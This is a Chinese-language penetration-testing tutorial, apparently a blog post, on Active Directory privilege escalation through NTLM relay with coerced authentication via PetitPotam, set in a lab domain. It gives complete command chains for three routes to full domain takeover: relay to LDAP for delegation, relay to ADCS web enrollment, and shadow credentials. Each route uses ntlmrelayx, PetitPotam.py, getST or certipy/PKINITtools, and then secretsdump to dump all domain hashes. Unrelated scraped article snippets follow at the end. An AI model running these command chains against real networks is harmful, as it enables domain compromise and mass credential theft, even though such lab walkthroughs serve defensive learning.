AD 提权-NTLM 中继攻击(强制认证)
爱之则不觉其过,恶之则不知其善。
导航
0、前言
NTLM 中继攻击的流程主要分为三个步骤:触发认证、中继攻击、后利用。其中,
- 触发认证又分为:主动强制认证、被动诱导认证;
- 中继攻击又包括:委派、ADCS 证书申请、影子凭证 等;
- 后利用 则根据 中继攻击 的不同,利用的方式亦有所不同。
在这篇文章中,我们将主要探讨有关主动强制认证的几种中继攻击的利用方法,最终实现权限提升从而完全掌控整个域。
主动强制认证常见的几个漏洞是:PeitiPotam、PrinterBug、DFSCoerce、ShadowCoerce、PrivExchange、Coercer。其中 PeitiPotam 漏洞无需提供域账户便可被检测和利用,因此它也是本文主要被使用的一种强制认证方法。
被动诱导认证:UNC 路径、恶意文档(Word、PDF)、图标文件(desktop.ini、scf 文件)、系统命令。
1、委派
环境简介
- 域名 - skylark.com
- 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
- 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
- Kali - 192.168.56.20
- 普通域用户 - user【非必须】
攻击条件
- 主备域控就是常规的域环境即可,无其它额外要求。
攻击流程
在本例中,经检测发现备域控存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2013 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 LDAP 协议中继到主域控,进而在主域控中创建一个具有委派权限(资源约束委派)的机器账户。然后,利用这个机器账户申请域管理员 administrator 的服务票据。最后,通过这张服务票据成功转储了域中所有用户的哈希。具体操作流程如下:
注:在这个例子中,备域控的机器账户所拥有的权限可以在主域控上登录并执行一些操作。而如果换成普通域主机 Win10 的机器账户在主域控上登录并操作的话,应该是不能够成功的。
(1)NTLM 强制认证漏洞检测。
nxc smb 192.168.56.51 -u user -p 'password@123' -d skylark.com -M coerce_plus

可以看到,PetitPotam 漏洞的检测无需提供域用户即可进行。此外,PetitPotam 漏洞的利用也不需要提供域用户。
(2)开启中继监听器。
impacket-ntlmrelayx -t ldap://192.168.56.50 --remove-mic --delegate-access

注:由于 PetitPotam 这类强制认证的漏洞利用都是基于 SMB 协议发起的身份认证,而我们要使用的委派功能 --delegate-access 则必须是基于 LDAP 协议的中继才行。而 impacket-ntlmrelayx 中继利用直接由 SMB 转 LDAP 一定是不成功的,这时 impacket-ntlmrelayx 工具的 --remove-mic 选项便帮上了大忙,它利用某种漏洞提供了一种 SMB 转 LDAP 的绕过方法。当然,如果这个漏洞补丁被打上了的话,那 --remove-mic 选项也无济于事了。
通常情况下,相同协议之间的中继转发一般不会出现问题,只有不同协议之间的转发才容易出问题,例如 SMB 转 LDAP。当然也有例外,例如 SMB 转 HTTP 也不会有什么问题。
(3)执行 NTLM 强制认证利用工具。
python PetitPotam.py -u user -p password123 -d skylark.com 192.168.56.20 192.168.56.51

注:PetitPotam.py 是一个用于触发 Windows 系统上的认证强制 的漏洞利用脚本,它强制目标机器向攻击者发起 NTLM 身份验证请求(SMB),以进行中继攻击(NTLM relay)。
(4)从中继攻击中提取出新创建的具有委派权限(资源约束委派)的机器账户。

可以看到,中继攻击成功执行,并且顺利创建了新的域机器账户:NJCKANET$:hJs5by4D8xfT6KI。
注:这个机器账户其实只是一个普通的账户,只不过在机器账户 DC2013 的 msDS-AllowedToDelegateTo 属性中指定了这个账户而已。因此,才使得这个机器账户具有了委派请求 cifs/dc2013.skylark.com 资源的权限。
(5)利用具有委派权限的机器账户请求域管理员用户的 ST 服务票据。
impacket-getST -spn cifs/dc2013.skylark.com 'skylark.com/NJCKANET$' -impersonate administrator -dc-ip 192.168.56.50

(6)发起票据传递攻击转储域用户的哈希。
export KRB5CCNAME=administrator@cifs_dc2013.skylark.com@SKYLARK.COM.ccache
impacket-secretsdump -k -no-pass administrator@dc2013.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.51

注意:使用 impacket-secretsdump 工具应用服务票据时,提供给工具的参数尽量和使用 impacket-getST 工具申请票据时提供的参数差异不要太大,尤其是 SPN 字串中涉及的主机名称。
2、ADCS 证书申请
环境简介
- 域名 - skylark.com
- 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
- 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
- Kali - 192.168.56.20
- 普通域用户 - user
攻击条件
- 主备域控必需要有一个安装 证书颁发机构 和 证书颁发机构 Web 注册 服务。
注意:(1)在安装证书颁发机构 Web 注册服务之前,请先安装 IIS 服务。(2)验证 Web 申请证书服务是否可用,请检查网址 http://192.168.56.50/certsrv/certrqxt.asp 是否可以正常访问。若弹出登录框,可用任意域用户的账户进行登录。
攻击流程
在本例中,经检测备域控发现存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2013 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 HTTP 协议中继到主域控的 Web 证书注册服务,进而我们便获得了关于机器账户 DC2013 的 kerberos 证书。然后,利用这个证书申请到了机器账户 DC2013 的 TGT 票据。最后,通过这张 TGT 票据转储了域中所有用户的哈希。具体操作流程如下:
(1)NTLM 强制认证漏洞检测及证书 Web 注册服务检测。
nxc smb 192.168.56.51 -u user -p password123 -d skylark.com -M coerce_plus


可以看到,主备域控存在 PetitPotam 漏洞,且主域控还提供了 web 申请证书服务。
(2)开启中继监听器。
impacket-ntlmrelayx -t http://192.168.56.50/certsrv/certrqxt.asp --adcs --template 'DomainController'

(3)执行 NTLM 强制认证利用工具。
python PetitPotam.py 192.168.56.20 192.168.56.51

(4)获得机器账户 DC2013 的 kerberos 认证证书。

可以看到,中继转发成功,我们成功申请到了机器账户 DC2013 的 kerberos 认证证书。
(5)发起 kerberos 证书认证并请求到 TGT 票据
certipy-ad auth -pfx 'DC2013$.pfx' -ns 192.168.56.50

注:Certipy-AD 是一个用于 Active Directory 证书服务(AD CS)攻击与枚举 的强大工具,尤其在执行 AD 证书相关攻击(如 ESC1~ESC8)时非常常用。
(6)通过票据传递攻击转储域用户的哈希。
export KRB5CCNAME=dc2013.ccache
impacket-secretsdump -k -no-pass 'dc2013$@dc2012.skylark.com' -dc-ip 192.168.56.50 -target-ip 192.168.56.50
#或 impacket-secretsdump 'skylark.com/dc2013$'@192.168.56.50 -hashes aad3b435b51404eeaad3b435b51404ee:3a22ea39aa8ab8752381e686a4201661

3、影子凭证
环境简介
- 域名 - skylark.com
- 主域控 - DC2016 - Windows 2016 Standard - 192.168.56.52
- 备域控 - DC2017 - Windows 2016 Standard - 192.168.56.53
- Kali - 192.168.56.20
攻击条件
- 域控的操作系统必须是 Windows 2016+,因为 msDS-KeyCredentialLink 属性自 Windows 2016 才初次引进。
- 主备域控必须要有一个安装了 ADCS 服务,因为只有安装了 ADCS 服务,域控才支持 kerberos 证书认证。【注:在此例中,只有主域控安装了 ADCS 服务,备域控没有安装,因此我们中继的目标便只能是主域控。】
攻击流程
在本例中,经检测发现备域控存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2017 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 LDAP 协议中继到主域控,进而在主域控中为机器账户 DC2017 新增一个 msDS-KeyCredentialLink 属性并为其生成和设置有关证书认证相关的数字证书信息。然后,利用这个机器账户向域控发起 kerberos 证书认证,从而申请到 DC2017 的 TGT 票据。最后,就可以通过这张服务票据请求到 DC2017 机器账户的哈希,从而就可以通过哈希传递转储域中所有用户的哈希了。具体操作流程如下:
(1)NTLM 强制认证漏洞检测及 ADCS 服务检测。
nxc smb 192.168.56.52-53 -M coerce_plus

openssl s_client 192.168.56.52:636

可以看到,主备域控均存在 PetitPotam 漏洞。同时,主域控还安装了证书颁发服务。
(2)开启中继监听器。
impacket-ntlmrelayx -t ldap://192.168.56.52 --shadow-credentials --remove-mic

(3)执行 NTLM 强制认证利用工具。
python PetitPotam.py 192.168.56.20 192.168.56.53

(4)获得机器账户 DC2017 的 kerberos 认证证书。

可以看到,impacket-ntlmrelayx 不仅为我们申请到了 pfx 证书,同时还提供了利用证书获取 TGT 票据的命令。不过需要注意的是,这条命令不能拿来直接就使用,还需要为其提供 DC2016 的 ip 才行,不然 kali 无法凭域名解析目标机器的具体 IP 地址。【注:要想命令不做修改直接拿来就使用的话,则需要在 kali 的 hosts 文件中添加 test.com 192.168.56.52 映射记录才行。】
(5)发起 kerberos 证书认证请求 TGT 票据。
python3 PKINITtools-master/gettgtpkinit.py -cert-pfx 7Gpc0pVZ.pfx -pfx-pass GThhfSnb30mwB2puuCEc -dc-ip 192.168.56.52 'test.com/DC2017$' 7Gpc0pVZ.ccache

可以看到,TGT 票据被成功请求,同时它还提供了有关机器账户 DC2017 的一个字串信息。
PKINITtools 是专门用于 Kerberos PKINIT 滥用(证书登录)和 Shadow Credentials 攻击链的工具集,在 Active Directory 渗透中非常关键。
(6)根据票据和一个字串获取机器账户的哈希
export KRB5CCNAME=7Gpc0pVZ.ccache
python3 PKINITtools-master/getnthash.py -key 757eebb398a8cc7778fdfad0bc5aa84fd758771852f106a96cbdd2a4c59eb70b 'test.com/DC2017$' -dc-ip 192.168.56.52

可以看到,机器账户的哈希被成功获取。
(7)通过哈希传递攻击转储所有域用户的哈希。
impacket-secretsdump 'test.com/DC2017$'@192.168.56.52 -hashes :76f2514c34440438c4346baf30ae2ad3

AD 提权-NTLM 中继攻击(强制认证)的更多相关文章
- Potato(邪恶土豆)–windows全版本猥琐提权
工作原理: Potato利用已知的Windows中的问题,以获得本地权限提升,即NTLM中继(特别是基于HTTP > SMB中继)和NBNS欺骗.使用下面介绍的技术,它有可能为一个非特权用户获得 ...
- 内网渗透 day5-msf本地提权(windows)
msf本地提权 目录 1. 利用uac提权 1 2. 绕过uac认证 2 3. 利用windows本地提权漏洞进行提权 4 1. 利用uac提权 前提与目标机建立会话连接 seach local/as ...
- 结合NTLM中继和Kerberos委派攻击AD
0x00 前言 在上个月我深入演讲了无约束委派之后,本文将讨论一种不同类型的Kerberos委派:基于资源的约束委派.本文的内容基于Elad Shamir的Kerberos研究,并结合我自己的NTLM ...
- 20165230田坤烨网络对抗免考报告_Windows系统提权
目录 KERNEL EXPLOITATION 服务攻击: DLL劫持 攻击 不安全的服务权限 探测 unquoted path未被引号标记的路径 探测 攻击 服务注册表键 探测 攻击 Named Pi ...
- Windows提权总结
当以低权用户进去一个陌生的windows机器后,无论是提权还是后续做什么,第一步肯定要尽可能的搜集信息.知己知彼,才百战不殆. 常规信息搜集 systeminfo 查询系统信息 hostname 主机 ...
- Meterpreter提权详解
0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马: msfvenom -p windows/meterpr ...
- 滥用DNSAdmins权限进行Active Directory提权
0x00 前言 除了在实现自己的DNS服务器功能之外,Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成.默认情况下,域控制器也是DNS服务器; 大 ...
- 2018-2019-2 20165215《网络对抗技术》Exp10 Final Windows本地内核提权+Exploit-Exercises Nebula学习与实践
目录 PART ONE :Windows本地内核提权 漏洞概述 漏洞原理 漏洞复现 windbg调试本地内核 查看SSDT表和SSDTShadow表 查看窗口站结构体信息 利用Poc验证漏洞 漏洞利用 ...
- Potato家族本地提权分析
原文来自SecIN社区-作者:Zeva 0x00 前言 在实际渗透中,我们用到最多的就是Potato家族的提权.本文着重研究Potato家族的提权原理以及本地提权细节 0x01 原理讲解 1.利用Po ...
- windwos提权漏洞CVE-2023-21746复现(LocalPotato)
0x01 漏洞原理 LocalPotato攻击是一种针对本地认证的NTLM反射攻击. Windows NTLM 在进行身份验证时存在漏洞,允许拥有低权限的本地攻 击者通过运行特制程序将权限提升至 SY ...
随机推荐
- MySQL 事务的二阶段提交是什么?
MySQL 事务的二阶段提交是什么? 二阶段提交(Two-Phase Commit, 2PC)是分布式事务中的一种协调协议,用于确保多个资源(如数据库或数据节点)在事务提交时保持一致性.MySQL 在 ...
- Vitepress 建站资源汇总
整理下使用 Vitepress 搭建博客过程中使用过的一些资源和方案 主要参考站点 Vitepress 官方文档 VitePress快速上手中文教程,这个站点扩展很全,包括静态部署选择,样式美化,第三 ...
- 快速开始 Mybatis TypeHandler
theme: orange MyBatis TypeHandler是MyBatis框架中的举足轻重的组件之一,用于处理Java对象和数据库中的数据类型之间的转换. MyBatis TypeHandle ...
- wso2~介绍
1. Wso2-apim的介绍 WSO2 API Manager 是一个开源的 API 管理解决方案,旨在帮助组织设计.发布.管理和分析 API.它提供了全面的功能,支持企业在现代应用程序开发中实现更 ...
- 119K star!无需GPU轻松本地部署多款大模型,DeepSeek支持!这个开源神器绝了
嗨,大家好,我是小华同学,关注我们获得"最新.最全.最优质"开源项目和高效工作学习方法 "只需一行命令就能在本地运行Llama 3.DeepSeek-R1等前沿大模型,支 ...
- 遇到的问题之“Parameter 'item' not found. ”
一.问题 Parameter 'item' not found. 参数item找不到 二.原因 这里的值没有写对,#{item}的item应是改为productSku,改后就不会报错了 三.解决方案 ...
- 如何在AutoCAD Electrical中修改项目描述中的行号
默认情况下,项目描述对话框中都会以行号+数字的形式显示,如下图所示: 1.打开记事本程序,按照以下格式收入文字: LINE1=设计 LINE2=制图 LINE3=校对 LINE4=审核 LINE5=工 ...
- Java 代码块与代码加载顺序
本文首先介绍几个基本的名次,然后介绍了三种代码块的特性和使用方法. 在面试大型公司时,如果遇到大型国企或者大的互联网私企,笔试中经常遇到代码块和代码加载顺序的笔试题.这里做一个总结,也方便各位小伙伴飙 ...
- Servlet中过滤器、监听器和拦截器的区别
基本概念 过滤器(Filter):当你有一堆东西的时候,你只希望选择符合你要求的某一些东西.定义这些要求的工具,就是过滤器.就是对请求起到过滤的作用:在监听器之后servlet之前对请求进行过滤. ...
- Intellij IDEA 设置JDK版本
问题描述: 项目JDK版本不对 如果项目JDK版本不兼容,在编译或者启动项目的时候抛出如下异常提示信息: Error:(29, 34) java: -source 1.7 中不支持 lambda 表达 ...